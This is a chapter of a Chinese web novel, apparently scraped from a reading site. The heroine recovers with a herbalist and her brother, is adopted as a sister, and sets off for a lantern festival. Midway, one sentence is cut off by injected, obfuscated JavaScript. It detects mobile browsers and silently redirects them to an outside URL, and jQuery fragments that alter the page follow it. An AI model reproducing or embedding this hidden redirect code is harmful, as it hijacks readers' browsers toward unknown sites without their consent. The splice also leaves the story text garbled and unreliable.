5. 认亲

作品:《清图治

    屋外风雪狂作。


    木门吱呀一声打开,雪光透亮。


    “三日不见,姑娘音容犹在!可喜可贺!”


    闻声来人一副猎户装扮,偏生面孔俊俏异常,只是这话说得倒是猎奇。


    “我道是谁——单猎户今儿猎的是封豨还是那巨鹿?”说话间连眼都未挪,只顾着给芜荑喂药。


    空气莫名凝结,些许火药弥漫。


    谁料对方直接偃旗息鼓,站在门口抖了抖衣肩上的雪,方才进屋。


    卸了身上的家伙事儿,径直走了过来。


    “躲远些!别渡了寒气。”


    凤眼一横,那向前跨的步子,悬在半空中又缩了回去。想来这嘴上又该说出些不讨好的话来。


    “是是是……我们筠芝大夫的话岂敢不从呐。”行为却极为乖顺,缩坐火盆前烘烤身上那未落尽的残血,时不时还要往这儿瞥上一眼。


    汤药见底,筠芝莞尔一笑,介绍起来人,“这是家中长兄,单凌霄。性格瞧着跳脱,人倒是个实心的,不坏。”


    屋中央烤火的单凌霄竖着耳朵听个正着,闪身过来回怼。


    “嘿!有妹妹这么介绍自家兄长的吗?”


    见妹妹压根不理自己个,无趣地瞪了眼她那早已转身料理药材的背影。


    拱手对上床上的她,笑道:“姑娘见笑了,在下单凌霄。这是我那不争气的妹妹,单筠芝。咱们这些山民、渔民不讲究这么多,能醒来便是好的!猫儿洼这一带鲜少有人,不知姑娘怎么称呼,家住何处,又为何会从火海逃生呢?”


    芜荑简单问好,道出自己的近况,唯独隐瞒了自己也是征兵过来的,只说是忧心小弟便一路跟了过来,不幸受到伏击牵连。


    南方的话语腔调,轻柔无骨,衬得她似更加病弱。配好了药方的单筠芝,作势就要过来赶人。


    “理他作甚。一个大男人上来就打听人姑娘家的难处,我都替他羞。也就是芜荑姑娘你人好。”


    大夫手轻声柔,极是有耐心的,“换贴伤药吧,一会儿试试能不能下来走动走动。”两贴泥糊状的膏贴,敷在伤口两端,再裹上一层药布,倒是简单。


    就依大夫所言,试着下地走动。可脚挨地的一瞬间,便跌了出去。好在单筠芝就在一旁,赶忙扶回到床上。


    自己则退在旁边,侧眼打量着她的双腿,琢磨良久,也没思考出一个对策。便抽身去后头的药柜好通翻找,手上拿着个木质小砭锤朝她走了过来。于床边半蹲,好好的青衫衣裙拂了地。


    对着芜荑的小腿来回敲打,边敲边问,这疼吗?


    良久,芜荑都有些困乏,泪眼朦胧的应承。


    迷糊间感到自己的脚被拽住,没等醒神细瞧,单筠芝突然上手脱她的鞋袜。


    惊得她一激灵,大声叫停。


    “筠芝!”


    虽不解其意,但还是乖乖褪去鞋袜将小腿露出,没忘嘟囔着叮嘱一句,“下次你说就好,我来。”


    单大夫点了点头算是应下,可医者哪会在意这些。坐在矮凳上,捞过芜荑的腿直接上手。


    没等她说出拒绝的话,一阵刺骨的疼直达心底。小脸都跟着揪做一团。


    单筠芝面上愁容尽散,手上又加了几分的力道。


    激的芜荑闷声低哼,紧抿唇瓣,微微颤抖。额间骤然生了密密的汗珠,双手不知抓握些什么好,只是胡乱扯着床单。又是极重的几下,疼的芜荑扭身挣扎,汗珠顺着下颚划过脖颈之间,隐入贴身的对襟衣衫,床上更是乱作一团。


    “忍着些,你这足跟积了寒,怕是要落得病根。”


    腿被生生擒住,狠狠一顿揉按。


    好一会儿才压着帕子将足跟裹好,才准她套回罗袜,将腿送进被衾之中,还多往里塞了个汤婆子。将远处的火盆挪近了些。


    想着说道:“我见你时,见衣裳里竟还有石菖蒲钩藤根!你可是也识得草药?”


    刚刚的痛感全无,过后竟有点针扎,酥麻痒痒的感觉,确实舒服了很多。


    与之谢过,才回答道:“嗯,幼时跟家中长辈后头认了些个。”


    听她真识得草药,眸中灵光闪过,笑盈盈说着,“想来也是,多亏了那味草药。姑娘生得这样好,又这般聪明灵秀……”


    神光忽得黯淡,意有踌躇,眼神微凝,檀口浅笑,“不知,荑儿年方几何?”


    “今年刚好十六,筠芝呢?”


    “年长荑儿妹妹一岁,唤我声姐姐可好?”溢于言表的欢喜,人都离了圆杌坐上了床。


    “甚好!筠芝姐姐!”这声姐姐比作奴哥儿也不遑多让,任由她着手,好不亲昵。


    “那妹妹一人又无处可去,不如就留在这。我们姐妹二人一起钻研岐黄之术!假以时日也要成为那坐堂诊的大夫!让我们女子也有处瞧病,患病敢瞧!”说到激动处,眼中泪花闪过,可见真心。


    “好!”


    没承想萍水相逢,不仅救了她一命,连心中的想法竟然也与她不谋而合。


    女子此间安身立命之本,微乎其微。


    唯治病救人才是亘古不变良方。


    高山流水,知音难觅。


    姐妹二人相谈甚欢。


    门被一脚踹开,单凌霄捧着个木质托盘进了屋。


    “用饭啦用饭啦!还煮了一瓦罐奶白的鱼汤。”


    说着摆好了碗筷。


    饭菜的香味勾着芜荑往前走。是多久没有好生吃上一顿饭了……


    奈何她走得极慢,筠芝不放心跟在一旁。


    单凌霄见二人吃饭不积极,顿时有了意见。


    “这是怎么个意思?对小爷的厨艺不满意?”


    芜荑赔着笑,咬牙挪了一大步,额头冷汗直冒。


    筠芝见着心疼,没好气的呛声,“没瞧见荑儿妹妹病着吗?”


    伸过去的手还是忍住了,接下的每一步路,都得她自己走。


    鱼汤色白如乳,鲜甜无比。难得的是这天寒地冻,还有盘绿叶菜。


    “单大哥,这附近山中可是有温泉?”芜荑暗喜!她近来都没好好洗过澡。


    单筠芝接过话,“荑儿妹妹,一会儿饭后我领你去那温泉洞,对你的伤势大有裨益。”


    “唉唉唉——人芜妹妹是在问我!妹妹,你一会儿好生去治疗,晚些时候大哥带领你去看灯会。”


    丢给单筠芝一声重重地冷哼。


    “把碗刷了去!今天轮到你了!”


    跨着四方步,昂首阔胸,好似这一场嘴斗他终于是那得胜的一方。


    芜荑见他们二人这相处模式,不由憋笑。就手跟着一起收拾起碗筷。


    “倒是让荑儿妹妹见笑了,家兄就是这个性子。我们兄妹二人双亲走得早,算得上的兄长将我养大的,很小的时候没饭吃,他就去偷去抢,带回家给我吃自己却饿肚子……我终日里喜欢与这大山上的野草相伴,不言语。那段时间他害怕极了,想着法子的逗我开口,出去做工刚领的工钱,就全给我买吃的玩的。其中就有一本草药图集,也是那时我爱上了这花


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893675|159999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    草树木……”


    单筠芝突然打开的话匣子听得她心中一颤。


    “现在有我。我会陪着筠芝姐姐一起研习的。晚上的灯会热闹不,咱们家过去是不是得有段距离呀。我的脚……”


    她委屈地望向筠芝,好在情绪出来得也快,没有一直陷在往事的哀伤之中。


    “相信我!”


    单筠芝突然急急忙忙撤了桌子,脚下步子生风,话语中也是不容置疑的笃定。


    见此,不由暗叹,除了样貌,这下算是瞧出二人的兄妹之感了,别无二致的急性子。


    单凌霄虽嘴上说着不管,还是过来接过来妹妹手上的东西,语气还极为不耐,


    “就知道裹乱!还不快去温泉眼,别耽误了晚上去看灯会。全家就数你最磨叽。”


    没等筠芝回话,芜荑连忙道谢,催着她,只说伤口有异。


    温泉眼。


    半山腰的一处山洞,洞里花开如常,想来四季皆如春。


    她踮着脚上的山,实属不易。眼下能见此美景,倒也扫去疲累。依着筠芝的话,没过腿肚,先泡上一会儿。好生搓洗过后才上了岸。


    洞内几乎是种满菜,萝卜、韭菜应有尽有,还有那线茄!


    瞧着她看得出奇,筠芝从旁解释道:“这里多是一些莱菔、阳韭跟葵冬。要说稀奇的是那林落苏,是兄长从天竺上人那里得来的种子,种了三季,这是刚出的头茬!”


    听的芜荑频频点头。这些可都是商机啊!


    两眼放光,穷苦多日,终于迎来她大展身手的时刻了!她会这落苏的一百零八种做法!


    筠芝没由得对她很是心疼,薅秃了起码有三株,背篓里起码装了有半筐之多。


    多瞧上一眼,那身子看起来就越发瘦小单薄,在那样的境地都能脱困求生,其心坚毅却又命运多舛,她这做妹妹的偶尔还能使使性子,可她这做姐姐——又该是何等辛劳无依。


    料想荑儿这么些年肯定过得清苦,也定是没吃过这个的。


    “荑儿莫忧伤!我即做姐姐的,必当会护好你,将从前吃过的苦都寻补回来!等下山,就带你认家!”


    预见前方坦途一片,芜荑心情大好!剧情也终走上正轨,脆声回应,“好”


    单家,位置偏僻。


    到家后就开始忙着生火做饭,芜荑只觉身体大好,连下山的时候步子都轻快不少。


    想去看花灯就得把饭早早用了,走出二里地再搭上孙老汉的牛车才好过去。


    “三妹妹!你做的那道蒸落苏好吃极了!没想到妹妹竟有如此手艺!明儿咱们还吃!”


    单凌霄对着新得来的妹妹稀罕的不行,夸了一路不说,连上了牛车对着那些位十天半月都见不到一回的婶子,都要再细细炫耀上一番。


    “这是我母家那边的妹妹,家中落难,来投奔我跟筠芝!”


    他一人便招架了车上一众妇人,留得两个姑娘清静。


    妇人们纷纷争相说着自己多么慧眼如炬。


    “我一打眼就知道,这姑娘肯定是单家的!这不,给我说中了吧——”


    “你说,这姑娘的好面孔,给村前头的李瞎子瞧见了,摸骨相指不定要摸上几个时辰呢!哈哈哈哈哈哈哈哈哈”


    “不过单家大朗嘴里的蒸落苏是道什么菜啊?”


    ……


    还没进城,远远就能瞧见。


    游龙跑街,艺人吐火。


    最新奇还要数那吞刀旁的植瓜!


    “荑儿!蛇戏!”